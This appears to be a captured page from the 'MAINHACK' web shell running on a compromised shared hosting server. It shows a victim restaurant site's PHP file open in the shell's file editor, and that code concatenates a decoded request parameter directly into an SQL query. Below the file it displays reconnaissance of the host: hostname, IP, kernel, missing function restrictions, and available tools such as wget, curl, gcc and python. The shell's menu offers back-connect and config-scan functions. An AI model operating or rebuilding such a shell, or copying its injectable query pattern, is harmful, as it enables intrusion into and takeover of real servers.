[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: restaurant-subcategory.php
<?php include('header.php');$uid=base64_decode($_REQUEST['uid']);?> <style> .foot-bg-index{ display:none; } </style> <!-- Sign Up - Resturant-sing 02 --> <div class="sing-up resturant-sing" style="background: kground-size: cover;"> <div class="container"> <div class="sing-up-text" style=""> <div class="sing-up-text-bg"> <h3><span> Sub </span> Category</h3> <h5>Already have an account? <a href="home-cooks-login.php" ><b>Log In</b></a></h5> </div> <div class="sing-up-form" style="width: 100%;"> <form method="post" id="form" method="post" enctype="multipart/form-data" > <div class="log-input subCategory" id="b_name"> <span>Sub Category <b>*</b></span> <?php $sq="select * from food_maker where maker_id='".$uid."'"; $s12=$con->prepare($sq); $s12->execute(); $row12 = $s12->fetch(PDO::FETCH_ASSOC); if($row12['main_category']=='Food'){ $sr='category'; $stmt =$show->readAll($sr); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <div class="restaurantsubcategory"> <label for=""><img src="product_img/<?=$row['image']?>" /></label> <input type="checkbox" id="biriyani" name="category[]" value="<?=$row['category']?>"> <input type="hidden" name="image[]" value="<?=$row['image']?>"> <small><?=$row['category']?></small> </div> <?php } } }else{ $sr='category_grocery'; $stmt =$show->readAll($sr); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <div class="restaurantsubcategory"> <label for=""><img src="product_img/<?=$row['image']?>" /></label> <input type="checkbox" id="biriyani" name="category[]" value="<?=$row['category']?>"> <input type="hidden" name="image[]" value="<?=$row['image']?>"> <small><?=$row['category']?></small> </div> <?php } } }?> </div> <div class="log-input submitbox" id="b_name"> <input type="submit" class="" name="sub" id="btn" value="submit"> </div> </form> <?php if(isset($_POST['sub'])){ foreach($_POST['category'] as $key=>$value){ $data=array( 'category'=>$value, 'maker_id'=>$uid, 'image'=>$_POST['image'][$key], ); $r1=$show->insert('maker_category',$data); if($r1){ echo '<script> setTimeout(function() { swal({ title: "Thank You!", text: "You can login to your profile now", type: "success" }, function() { window.location = "restaurant-login.php"; }); }, 1000); </script>'; } } } ?> </div> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.52 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619